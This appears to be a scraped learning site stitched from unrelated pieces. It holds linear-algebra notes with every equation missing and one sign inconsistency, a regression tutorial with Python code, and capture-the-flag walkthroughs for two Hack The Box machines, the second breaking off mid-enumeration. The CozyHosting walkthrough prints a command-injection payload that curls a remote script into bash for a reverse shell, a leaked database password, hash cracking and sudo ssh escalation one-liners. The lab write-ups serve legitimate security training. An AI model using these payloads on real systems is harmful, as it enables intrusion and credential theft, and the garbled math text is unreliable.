Step 3 - Simplify and solve for a

Expand the equation:

Combine like terms:

Isolate the term with a by adding 10 to both sides:

becomes:

Divide both sides by -4 to solve for a:

Step 4 - Substitute back to find b

Now that a = 0.75, substitute this value back into the expression for b:

Substitute a = 0.75:

Which equals:

which is:

Step 5 - Verify the solution

To ensure the solution is correct, substitute a = -0.75 and b = -0.5 back into the original equations.

Check Equation 1

Substitute a for 0.75 and b for -0.5:

this equates to :

Check Equation 2

Substitute a for 0.75 and b for -0.5:

and equates to:

Final answer:

The solution to the system of equations is:

This solution satisfies both equations, confirming the calculations are correct.

Elimination Method

In this method, one of the variables is eliminated by enforcing the same absolute value for one of the coefficients (scalars) in the two equations.

The equations again are:

If Equation 2 is multiplied by 5, the equations become:

simplified to:

Step 1: Add the Equations

Now, add the two equations to eliminate b and obtain a single equation with a single unknown:

This becomes:

Combine like terms:

Step 2: Solve for a

To solve for a, isolate a by dividing both sides by -4:

Or:

Step 3: Substitute back to Find b

Now that a = 0.75, substitute this value back into the expression for b:

Substitute a = 0.75:

Which equals:

Subtract 1.5 from both sides:

Multiply both sides by -1:2

Final answer

This means scalars a = 0.75 and b = -0.5 represent the vector:

as a linear combination of vectors x and y.

Substituting the vectors

is:

is

Graphical Method

When using the graphical method to solve a system of linear equations by drawing the lines on a plane, calculate the following:

Step 1: Slope-Intercept Form of Each Equation:

The general form of a linear equation is y = mx + c, where:

• m is the slope of the line.

• c is the y-intercept (when x = 0).

For each equation, rearrange it into the slope-intercept form y = mx + c.

Given the system of equations:

Equation1:

To solve for b, isolate b on one side:

Now, divide by 5 to solve for b:

This is the slope-intercept form of the equation in terms of y = mx +c.

Equation 2:

To solve for b, isolate b on one side:

Now multiply the entire equation by -1 to solve for b:

This is the slope-intercept form of the equation in terms of y = mx +c.

Step 2: Plot the Lines:

Equation 1
Start by plotting the y-intercept at:

Use the slope to find another point. For every five units moved to the right, increase b by 13 units.

Equation 2

Start by plotting the y-intercept at:

Use the slope 2 to find another point. For each 1 unit moved to the right, b increases by two units.

Step 4: Find the Intersection Point:

The point where the two lines intersect is the solution of the system of equations.

This point corresponds to the values of x and y that satisfy both equations simultaneously.

In this case the point of intersection (the solution to the system of equations) is:

or:

• a = 0.75

• b = -0.5

Simply put, a vector is a list of ordered numbers. Each element in a vector is also called a component or coordinate.

In the example below, a vector (x) is in the field of Real Numbers with n-dimensions.1

The vector has infinite elements, as denoted by the ellipsis.

The following vector within a 2-dimensional field of Real Numbers has two elements.

This essentially represents a line on a 2-dimensional plane.

The elements of a vector give instructions on how to get from the origin of a coordinate grid (e.g., x = 0, y = 0). In other words, where the tail of the vector begins, to its tip.

The first number is how far to move to the right or left along the x-axis, while the second is how far to move up or down the y-axis.

In the vector above, the first element, 4, represents the movement along an x-axis. The second element, 2, represents the movement along a y-axis.

Visually, this could look like the following:

Starting from B, there are four movements to the right and then two movements vertically to reach A.

Mathematically, this would appear as:

Vector transpose

Vectors can be column vectors or row vectors. In Linear Algebra, a transpose is when a column vector takes the shape of a row vector or vice versa. The mathematical notation for a transpose is T.

In other words:

Magnitude

Each vector holds a magnitude.

The symbol used for magnitude is || ||.

The Pythagorean Theorem calculates the magnitude of a 2D vector.

For example, take the vector:

The magnitude would be calculated as:

Where 4 is the horizontal element (e.g., four movements along the x-axis) and 2 is the vertical element (e.g., two movements along the y-axis).

Direction

Therefore, the angle created by moving along the two axes gives the direction of the vector. Looking at the vector visually, the angle is denoted by θ.

Trigonometry is used to calculate the angle:

Where y is the short side of the triangle and x is the long side.

In this case:

Operations in the field

Vector addition

The mathematical definition of vector addition in the Real Numbers field is to add the elements entry by entry.

Take two vectors, for example:

The result of summing these two vectors will also be in the Real Numbers field.

For example, take these two vectors:

The sum of the first element:

is:

The sum of the second element:

is:

Therefore:

Visually, this is the same as moving the tail of the second vector to sit at the tip of the first.

Then drawing a new vector from the origin of the first vector to the tip of the second vector.

The resulting third vector is said to be the sum of the original two.

How does this look numerically?

In the example above, it is the same as:

• Five steps to the right (5)

• Two steps up (2)

• Four steps to the left (-4)

• One step down (-1)

Or :

• 5 + (-4) = 1

• 2 + (-1) = 1

Why is this a good definition of addition?

Think of each vector as a movement in space; a step with a distance and direction from some point of origin. Taking a step along the first vector and then a step along the second, the overall movement would be the same as the sum of the vectors, as described above.

It is the same as visualising movement on a one-dimensional number line. Taking two steps to the right and six further steps reaches position 8, just as if you were taking all eight steps simultaneously.

Scalar by vector multiplication

A scalar by vector multiplication is also defined by multiplying the vector elements entry by entry

If α∈R (that is, α is a number in the field of Real Numbers), and the vector is:

Then, each vector element is multiplied by the scalar (α).

Visually, scalar by vector multiplication extends the vector’s direction and increases or decreases the magnitude. Therefore, if the scalar is a fraction, the vector is reduced proportionally to that fraction.

Using a scalar of a negative number would flip the vector around to its opposite direction and then stretch it in that new direction.

Hence, the name “scalar” is used for scaling.

Regression is a statistical method used in machine learning to predict a continuous numeric label (output) based on one or more input features. Regression analysis aims to establish a mathematical relationship between the dependent variable (label) and the independent variables (features). This relationship helps in predicting the label for new, unseen data.

In simple linear regression, the relationship between the dependent variable Y and the independent variable X is modelled as a linear function. The formula is:

Where:

• Y: The dependent variable (the output we are trying to predict).

• β0: The intercept (the value of Y when X is 0).

• β1: The slope (the change in Y for a one-unit change in X).

• X: The independent variable (the input feature used for prediction).

Let's consider a very simple example: We use shoe size (x) to predict height (y).

Using linear regression on this data, we might find the following relationship:

Here:

• y: The height of someone being predicted.

• 150: Represents the intercept of y and x. That is, if the shoe size were hypothetically 0, the height would be 150cm.

• 5x: Represents the slope of the relationships. For each additional unit increase in shoe size, the height increases by 5 cm.

To predict the height of someone with an 8.5 shoe size, we start with a base height of 150 and add 5cm for every value incremented in shoe size starting from 0. We then multiply 8.5 by 5.

So, the predicted height of someone with a shoe size of 8.5 is 192.5 cm.

Linear regression involves fitting the “line of best fit” to the data. In this case, it represents a perfect relationship: for every 5 cm increase in height, there is an increase of 1 in shoe size.

You can imagine that with less perfect data, not all of the data points would intercept with the line.

Regression as a Type of Supervised Machine Learning

Regression falls under the category of supervised machine learning. In supervised learning, the model is trained on a labelled dataset, meaning each training example consists of input features and the corresponding known output label. The model learns to map inputs to outputs by identifying patterns in the training data.

Key Characteristics of Supervised Learning:

1. Labelled Data: The training dataset includes input-output pairs where the output is a known value.

2. Prediction Task: The goal is to predict the output label for new data based on the learned relationship from the training data.

Types of Regression

There are various types of regression algorithms, each suitable for different types of data and relationships:

1. Linear Regression: Models the relationship between the input features and output as a straight line.

2. Polynomial Regression: Models the relationship as a polynomial, suitable for more complex, non-linear data.

3. Ridge and Lasso Regression: Regularised versions of linear regression that add penalty terms to prevent overfitting.

The Training Process for Regression Models

1. Data Splitting: Randomly split the training data to create a dataset for training the model while holding back a subset of the data to validate the trained model.

2. Model Training: Fit the training data to a model using an algorithm, such as linear regression.

3. Model Validation: Test the model using the validation data by predicting labels for the features.

4. Performance Evaluation: Compare the actual labels in the validation dataset to the predicted labels. Aggregate the differences between predicted and actual label values to calculate a metric indicating the model's accuracy.

5. Iterative Refinement: Adjust the algorithm and parameters and repeat the training and validation process until the model achieves an acceptable level of predictive accuracy.

Example: Predicting House Prices

Let's explore regression with an example. We have a data set of house prices and their corresponding size

We split the dataset to form a training set, which will be used to train a model to predict house prices (y) based on house size (x) in square meters. The held-back data will be used during the evaluation.

Applying Linear Regression

We can plot the relationship between house size and price on a graph and fit a linear regression line to understand the relationship between the two variables.

The function1 derived by the linear regression algorithm for this data can be represented as:

Where:

• f(x): denotes the function f is evaluated at x. In this context, the function f(x) represents the independent variable (x = house size) and predicts the value of the dependent variable (y = house price).

• 7595.42: This is the intercept term, which is the predicted house price (y) when the house size (x) is 0 square metres.

• +3010.27x: This term represents the slope and indicates that for every one-unit increase in x (house size), the value of the function f(x) will increase by $3,010.27.

How are the coefficients calculated? Check out the footnote.

In the context of predicting house prices based on house size:

• House Size (x): The independent variable (input feature) represents the size of the house in square meters.

• House Price function f(x): The dependent variable (output) represents the house's predicted price.

We can use this regression function to predict house prices for any given size. For example, if the house size is 85 square meters, the model predicts:

So, the predicted price for a house size of 85 square meters is approximately $263,468.37.

Evaluating the Model

To validate and evaluate the model's accuracy, we predict some values (ŷ) based on the held-back data and compare them to the actual values (y) of the held-back data to evaluate performance.

We can measure the model's performance using various metrics by comparing the predicted values (ŷ) to the actual values (y) of the held-back data.

Mean Absolute Error (MAE)

Mean Absolute Error (MAE) measures the average magnitude of the errors in a set of predictions without considering their direction. It is the average of the absolute differences between prediction and actual observation over the test sample, where all individual differences have equal weight.

In this example, the variance indicates how many dollars each prediction was wrong. Importantly, it doesn’t matter if the prediction was over or under; it is simply a measure of variance.

In the house price example, the mean (average) of absolute errors is $8,207.36.

The formula is:

Mean Squared Error (MSE)

Mean Squared Error (MSE) measures the average of the squares of the errors—that is, the average squared difference between the estimated values and the actual value.

This metric treats all discrepancies between predicted and actual labels equally. It may be preferable to have a model that is slightly off all the time rather than one that makes fewer but more significant errors. Squaring the individual errors and then calculating the mean of these squared values emphasizes the larger errors.

In the house price example, the MSE is 94,049,732.32.

The formula is:

Root Mean Squared Error (RMSE)

Root Mean Squared Error (RMSE) is the square root of the MSE. It is a frequently used measure that quantifies the differences between values predicted by a model and the observed values. RMSE takes the magnitude of errors into account by squaring them, but as a result, the metric is in squared units of the original label. Thus, stating that the MSE of our model is XX does not provide a direct measure of the error in terms of the original units (dollars, in this case). The MSE is simply a numeric score indicating the overall error level in the validation predictions.

To express the error in terms of dollars, we take the square root of the MSE.

In the house price example, the RMSE is $9,699.99

The formula is:

Coefficient of Determination (R²)

The Coefficient of Determination (R²) is a statistical measure that explains how much of the variability in a dependent variable can be explained by its relationship with an independent variable. In regression, the R² coefficient of determination measures how well the regression predictions approximate the actual data points. An R² of 1 indicates that the regression predictions perfectly fit the data.

This metric compares the sum of squared differences between the predicted and actual labels (residual sum of squares) with the sum of squared differences between the actual label values and the mean of the actual values (total sum of squares).

The resulting value will be between 0 and 1. The closer the value is to 1, the better the model fits the validation data.

In the house price example, the R² calculated from the validation data is 0.9996.

The formula is:

Adjusted R²

Adjusted R² adjusts the R² statistic based on the number of independent variables in the model. Unlike R², it does not always increase when adding a new predictor. This is because Adjusted R² considers the number of predictors relative to the number of data points, penalizing the addition of predictors that do not significantly improve the model.

Why Adjusted R² is a Better Measure for Comparing Models

1. Penalises Overfitting: R² always increases or stays the same when more predictors are added to the model, regardless of whether the new predictors are actually useful. This can lead to overfitting, where the model fits the training data well but performs poorly on new, unseen data. Adjusted R², on the other hand, increases only if the new predictor improves the model more than would be expected by chance. If the new predictor does not provide a meaningful improvement, Adjusted R² can decrease.

2. Accounts for the Number of Predictors: Adjusted R² incorporates the number of predictors (p) and the number of observations (n) into its calculation. This means that models with more predictors are not unfairly favoured. The formula for Adjusted R² is:

where R² is the coefficient of determination, n is the number of observations, and p is the number of predictors.

3. Better Comparison: Because Adjusted R² penalizes models for having unnecessary predictors, it provides a more accurate measure of model performance when comparing models with different numbers of predictors. This makes it a better tool for model selection, especially when dealing with complex models.

Adjusted R² is a more reliable statistic for comparing models because it adjusts for the number of predictors. This helps to avoid overfitting and provides a clearer picture of model performance. It also ensures that only predictors that genuinely improve the model are favoured.

In the house price example, the Adjusted R² is 0.9996.

Mean Bias Deviation (MBD)

Mean Bias Deviation (MBD) measures the average bias in the model predictions. It provides an indication of whether the model tends to overpredict or underpredict. Unlike other error metrics that focus on the magnitude of errors, MBD specifically evaluates the direction of the errors, giving insights into the systematic bias present in the model.

In the house price example, the MBD is $8,207.36

The formula is:

Mean Absolute Percentage Error (MAPE)

Mean Absolute Percentage Error (MAPE) measures a forecasting method's accuracy in terms of percentage error. It is a commonly used metric in regression analysis to assess a model's prediction accuracy. The MAPE is expressed as a percentage, which makes it easier to interpret and compare across different datasets and models.

In the house house price example, the MAPE is 2.02%

The formula is:

Iterative Training

The training process is typically iterative. Data scientists repeatedly train and evaluate a model, varying:

• Feature Selection and Preparation: Choosing which features to include and how to preprocess them.

• Algorithm Selection: Exploring different regression algorithms.

• Hyperparameters: Adjusting the numeric settings that control algorithm behaviour.

After multiple iterations, the model that yields the best evaluation metrics is selected for use.

import numpy as np
import pandas as pd
from sklearn.linear_model import LinearRegression

# Data
data = {
    'House Size (x)': [
        55, 65, 75, 80, 85, 95, 100, 110, 120, 135, 140, 50, 55, 70, 80, 85, 90, 95, 100, 105,
        110, 115, 120, 125, 130, 135, 140, 145, 65, 75, 125
    ],
    'House Price (y)': [
        158000, 182000, 230000, 245000, 248000, 285000, 297000, 340000, 360000, 400000, 430000, 
        155000, 158000, 220000, 245000, 248000, 280000, 285000, 297000, 310000, 340000, 345000, 
        360000, 375000, 395000, 400000, 430000, 435000, 182000, 230000, 375000
    ]
}

df = pd.DataFrame(data)

# Features and Labels
X = df[['House Size (x)']]
y = df['House Price (y)']

# Model
model = LinearRegression()
model.fit(X, y)

# Coefficients
intercept = model.intercept_
slope = model.coef_[0]

print(f"Intercept (β₀): {intercept}")
print(f"Slope (β₁): {slope}")

# Regression Equation
print(f"Regression Equation: y = {intercept} + {slope}x")

Intercept (β₀): 7595.42
Slope (β₁): 3010.27

Introduction

CozyHosting is rated as easy. It begins by enumerating a hosting service’s website and identifying an exposed API endpoint. This leads to hijacking a user’s session to bypass authentication to an admin dashboard. Unsanitised input on a web form is exploited to obtain a reverse shell on the target.

From there, the system is enumerated, and hardcoded credentials are found that allow for dumping a user table in a database containing hashed passwords. The password for a second user is cracked, and sudo rights on a binary are exploited to achieve privilege escalation.

Contents

• Introduction

  • Vulnerabilities explored

    • Exposed API endpoints

    • Session hijacking

    • Insecure coding - unsanitised input

    • Hardcoded credentials

    • Misconfigured sudo permissions

  • Tactics, Tools and Techniques

• Enumeration

• Initial access

• Lateral movement

• Privilege escalation

Vulnerabilities explored

Exposed API endpoints

Exposed API endpoints refer to API interfaces that are accessible without proper authentication or authorisation, potentially exposing sensitive data or allowing unauthorised actions.

Mitigation Strategies:

1. Authentication: Implement strong authentication mechanisms like OAuth, API keys, or JWT tokens to ensure only authorized users can access the API.

2. Authorization: Use role-based access control (RBAC) to restrict access to API endpoints based on the user's role and permissions.

3. Input Validation: Validate all inputs to the API to prevent injection attacks and ensure that only valid data is processed.

4. Rate Limiting: Implement rate limiting to prevent API abuse by limiting the number of requests a user can make in a given timeframe.

5. Encryption: Use HTTPS to encrypt data transmitted between clients and the API server to protect against man-in-the-middle attacks.

Session hijacking

Session hijacking occurs when a threat actor takes over a valid session by stealing or predicting a session token. This allows the attacker to impersonate the victim and access their data and actions.

• HTTPS: Ensure all communications use HTTPS to encrypt data and protect session tokens from being intercepted.

• Secure Cookies: Use secure attributes for cookies (e.g., Secure, HttpOnly, SameSite) to protect session cookies from being accessed or modified by unauthorized users.

• Session Timeouts: Implement short session expiration times and automatically log out users after periods of inactivity.

• Token Rotation: Regularly rotate session tokens to reduce the risk of token reuse.

• User-Agent and IP Binding: Bind sessions to specific IP addresses and user-agent strings to make session hijacking more difficult.

Insecure coding - unsanitised input

Unsanitised input occurs when user inputs are not properly validated or sanitised before being processed by the application. This can lead to vulnerabilities like SQL injection, cross-site scripting (XSS), and, in this case, command injection.

Mitigation Strategies:

1. Input Validation: Validate all user inputs against a whitelist of acceptable values to ensure only valid data is processed.

2. Sanitisation: Sanitise user inputs to remove or escape any potentially dangerous characters or code.

3. Parameterised Queries: Use parameterised queries or prepared statements to prevent SQL injection attacks.

4. Output Encoding: Encode data before outputting it to the browser to prevent XSS attacks.

5. Security Libraries: Use well-established security libraries and frameworks for input validation and sanitisation.

Hardcoded credentials

Hardcoded credentials refer to embedding usernames, passwords, API keys, or other sensitive information directly into the source code. This practice makes it easy for a threat actor to access sensitive systems or move laterally within a compromised system.

Mitigation Strategies:

1. Environment Variables: Store sensitive information in environment variables rather than hardcoding them in the source code.

2. Configuration Files: Use configuration files that are excluded from version control to store sensitive information.

3. Secret Management Tools: Use secret management tools to securely manage and access secrets.

4. Access Controls: Implement strict access controls to limit who can access sensitive configuration files and environment variables.

5. Code Reviews: Conduct regular code reviews to ensure sensitive information is not hardcoded in the source code.

Misconfigured sudo permissions

When sudo permissions are improperly configured, users can perform actions with elevated privileges they shouldn't be able to. In this case, allowing the user josh to run ssh with sudo and permitting local command execution (PermitLocalCommand) is a significant misconfiguration.

Mitigation Strategies:

1. Restrict Sudo Permissions: Limit the commands that can be executed with sudo. Avoid allowing broad permissions like ALL and instead, specify exact commands without options that can lead to privilege escalation.

2. Disable PermitLocalCommand: Ensure that PermitLocalCommand is set to no in the SSH configuration to prevent the execution of local commands.

3. Use Role-Based Access Control (RBAC): Implement RBAC to enforce the principle of least privilege, ensuring users only have the access necessary for their roles.

4. Regular Audits: Regularly audit sudoers configurations and SSH settings to identify and rectify potential security risks.

Tactics, Tools and Techniques

Enumeration

Nmap and Burpsuite were used to perform initial enumeration on the target. Unfamiliar error messages were researched, which led to an understanding of how to perform more tailored enumeration. Ultimately, this led to finding an exposed API endpoint that revealed active sessions.

Initial access

An active session under the user “kanderson” was hijacked to bypass authentication and gain access to the /admin dashboard. Unsanitised input was exploited on the form to obtain a reverse shell.

Lateral Movement

Enumerating the system identified hardcoded credentials for a Postgres database. Further hashed credentials were dumped, and Hashcat was used to obtain a password for the user “Josh”.

Privilege escalation

Sudo privileges were then abused in the context of Josh’s account to achieve privilege escalation.

Enumeration

Network scanning

As always, Nmap is run to scan the target.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting/scans]
└─$ nmap -A 10.129.229.88 | tee nmap-scan-1.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 23:08 EDT
Nmap scan report for 10.129.229.88
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Two ports identified:

• Port 80

• Port 22

The domain cozyhosting.htb is identified and added to hosts.

──(emdeh㉿kali)-[~]
└─$ echo "10.129.229.88 cozyhosting.htb" | sudo tee -a /etc/hosts
10.129.229.88 cozyhosting.htb

Port 80 enumeration

A website offering hosting services is found.

There is a simple login page at http://cozyhosting.htb/login designed by BootstrapMade.

Gobuster was used to enumerate pages. An /admin page giving a 401 Unauthorised response was identified.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting]
└─$ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -t 100 -o gobuster-scan.txt

Navigating to robots.txt returned a “Whitelabel Error Page”.

Googling the error indicated it relates to Spring Boot.

SecLists have a wordlist specific to Spring Boot.

Gobuster is used to enumerate for further pages, identifying several endpoints at /actuator.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting/scans]
└─$ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -t 100 -o gobuster-scan-1.txt

Actuator endpoint enumeration

Browsing to the /actuator/sessions endpoint identifies what is potentially an active session.

Navigating back to the site and updating the session cookie successfully bypassed the authentication and loaded the /admin dashboard previously identified as returning the 401 Not Authorised error.

Initial access

At the bottom of the admin page was a form to include hosts in automatic patching. The note indicated the scanner relies on adding an SSH private key to the host.

Submitting the form with an invalid host/username returns a “Host key verification failed” error.

The likely command being executed here is:

 ssh -i id_rsa username@hostname

This indicates a potential command injection vulnerability on the parameter “username” parameter.

Attempting to curl back to a listener to confirm the vulnerability fails. URL and Base-64 encoding of the field also does not work.

The whitespace between the dummy data and the malicious command injection is likely the issue. Another option is to use an Internal Field Seperator.

This is ${IFS} which, in Unix-like systems, represents a space, tab, or newline. This can be used to obfuscate the command and bypass the field’s sanitisation. Attempting this, as shown below, successfully works.

Considering this, the form's parameter can be used to call a reverse shell to establish a connection back to a listener.

First, a listener is started

┌──(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting/exploits]
└─$ nc -lvnp 4000
listening on [any] 4000 ...

Then, a simple shell is scripted and served for the target server to retrieve and execute.

The HTTP POST Request is modified to curl the file from the server.

This initially fails, but the POST Request is amended to pipe the file to bash.

host=127.0.0.1&username=emdeh;curl${IFS}http://10.10.14.12:8000/shell.sh|bash;

The updated request was successful, and the reverse shell connection was established in the app user context.

The following was used to stabilise the shell instead1.

app@cozyhosting:/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
app@cozyhosting:/app$

Lateral movement

The shell lands in /app, and there is a single .jar file. Unzipping the file reveals three directories.

unzip -d /tmp/app cloudhosting-0.0.1.jar
app@cozyhosting:/app$ cd /tmp/app
cd /tmp/app
app@cozyhosting:/tmp/app$ ls
ls
BOOT-INF  META-INF  org

Within /BOOT-INF/classes is an applications.properties file that contains credentials to a database.

Looking at the /home directory, one account named “Josh” is identified.

Attempting to reuse the credentials to SSH to the target as Josh fail.

Instead, the credentials are used to connect to the database.

app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
psql -h 127.0.0.1 -U postgres
Password for user postgres: Vg&nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#

The databases are listed, and the cozyhosting one is connected.

\connect cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue

         List of relations
 Schema | Name  | Type  |  Owner
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

Selecting all from the “users” tables identified two hashed passwords.

Hashid identified the hashes as likely Blowfish.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting/credentials]
└─$ hashid admin-hash
--File 'admin-hash'--
Analyzing '$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
--End of file 'admin-hash'-- 

A quick grep of the Hashcat help menu confirms Blowfish as “-m 3200”.

(emdeh㉿kali)-[~/Documents/htb-machines/cozyhosting/credentials]
└─$ hashcat --help | grep Blow
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  18600 | Open Document Format (ODF) 1.1 (SHA-1, Blowfish)           | Document

Hashchat was then used to crack the hash for the admin user.

Attempting the recovered password with Josh’s account wassuccessful, and the first flag is located.

Privilege escalation

Checking sudo permissions revealed Josh can run /usr/bin/ssh as sudo.

Reviewing GTFOBins identified a potential vectors to local privilege escalation.

Spawn interactive shell through ProxyCommand option.

ssh -o ProxyCommand=';sh 0<&2 1>&2' x

Spawn interactive shell on client, requires a successful connection towards host.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host

Attempting the second one2 was successful, and a root shell is spawned and the final flag located.

Introduction

BoardLight is rated as an easy difficulty. It begins with enumerating a web server running a site and a CRM ERP on a subdomain. Default credentials provide the initial path to compromise, with an unpatched vulnerability in the CRM leading to a reverse shell. Lateral movement is enabled with password reuse of a credential found in the initial config setup file. A SUID binary is then exploited to achieve local privilege escalation.

Contents

• Introduction

  • Vulnerabilities explored

    • Default credentials

    • Unpatched vulnerabilities

    • Password reuse

    • Local Privilege Escalation (SUID Binary exploitation)

  • Tools

  • Tactics and Techniques

• Enumeration

• Initial access

• Lateral movement

• Privilege escalation

Vulnerabilities explored

Default credentials

Default credentials are the pre-set username and password combinations assigned to devices and software by manufacturers. These credentials are often publicly documented to facilitate initial setup. If default credentials are not changed, threat actors can easily gain unauthorised access to systems and devices, leading to potential data breaches, system compromise, and exploitation of network resources. The obvious mitigation strategy here is to change default credentials during setup.

Unpatched vulnerabilities

Unpatched vulnerabilities are security flaws in software or hardware that have been identified but not resolved through software updates or patches. Threat actors can exploit these vulnerabilities to gain unauthorised access, steal data, disrupt services, or execute malicious code. A patch management policy coupled with vulnerability scanning can effectively mitigate against unpatched vulnerabilities.

Password reuse

As previously discussed, such as in Sniper, password reuse describes when an individual uses the same password across multiple accounts or systems. To prevent the risks associated with password reuse, each system or account should have its own unique password. Consider password managers to minimise the burden this would have. The Mosaic Effect describes the importance of this for all individuals.

Local Privilege Escalation

This type of vulnerability allows a local user to gain higher privileges on a system, typically escalating from a regular user to a superuser (root).

Tools

• Nmap, used for initial network scanning.

• Whatweb to obtain useful web server information.

• Gobuster is used to enumerate additional web pages.

• Ffuf is used to enumerate subdomains.

• Burpsuite is used to monitor and manipulate HTTP requests

• Linpeas is used to enumerate Linux systems.

Tactics and Techniques

Enumeration

• Nmap was used to enumerate the target to identify initial attack vectors, such as Port 80 and Port 22.

• Gobuster and Ffuf were used to enumerate the target site, with Ffuf identifying the subdomain CRM.board. hub.

Initial access

• Attempting default credentials on the CRM subdomain successfully led to initial access.

• Exploiting a vulnerability in the unpatched version of the CRM led to obtaining a shell on the web server.

Lateral movement

• A password was obtained from a script and re-used to move laterally onto another user’s account.

Privilege escalation

• Exploiting a vulnerability in the SUID binary ultimately led to local privilege escalation.

Here's a detailed breakdown of the nature and impact of the privilege escalation:

Characteristics of the Vulnerability

1. SUID Binary Exploitation:

   • The vulnerability involves a SUID (Set User ID) binary, enlightenment_sys, which is set to run with root privileges.

   • A SUID binary is an executable file in Unix-like operating systems that runs with the privileges of the file's owner rather than the user who is executing the file. This means if a file has the SUID bit set and is owned by the root user, anyone running this file will execute it with root privileges.

2. Path Traversal and Command Injection:

   • The vulnerability exploited in this case stems from improper handling of pathnames by the enlightenment_sys binary. Specifically, it mishandles pathnames starting with /dev/... This allows attackers to use path traversal and command injection techniques to execute arbitrary commands with root privileges.

Enumeration

Network scanning

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/scans]
└─$ nmap -A 10.129.2.235 | tee nmap-scan.txt

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 07:15 EDT
Nmap scan report for 10.129.2.235
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.04 seconds

Findings

• Port 22 for SSH

• Port 80 running Apache 2.4.41

A search of searchsploit doesn’t immediately reveal any quick wins.

Port 80 enumeration

Navigating to the target in a browser reveals a webpage for a cybersecurity firm.

Running whatweb is useful, so quick info is easily on hand.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/scans]
└─$ whatweb 10.129.2.235 | tee whatweb-scan.txt

http://10.129.2.235 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.2.235], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]

This also confirms a domain, which is added to the hosts file.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight]
└─$ echo "10.129.2.235 board.htb" | sudo tee -a /etc/hosts

[sudo] password for emdeh:

10.129.2.235 board.htb

A simple web form exists at /contact.php. Testing the submission and observing the requests in Burpsuite does not immediately reveal any initial attack vectors.

While further manual investigation is done on the site, Gobuster is set to enumerate pages.

──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/scans]
└─$ gobuster dir -u http://10.129.2.235 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 100 -e -o gobuster-scan.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.2.235
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.2.235/images               (Status: 301) [Size: 313] [--> http://10.129.2.235/images/]
http://10.129.2.235/css                  (Status: 301) [Size: 310] [--> http://10.129.2.235/css/]
http://10.129.2.235/js                   (Status: 301) [Size: 309] [--> http://10.129.2.235/js/]
Progress: 141708 / 141709 (100.00%)
===============================================================
Finished
===============================================================

Enumerating for pages reveals nothing of interest.

Ffuf is then used for subdomain enumeration.

┌──(emdeh㉿kali)-[~/Documents/htb-machines/boardlight/scans]
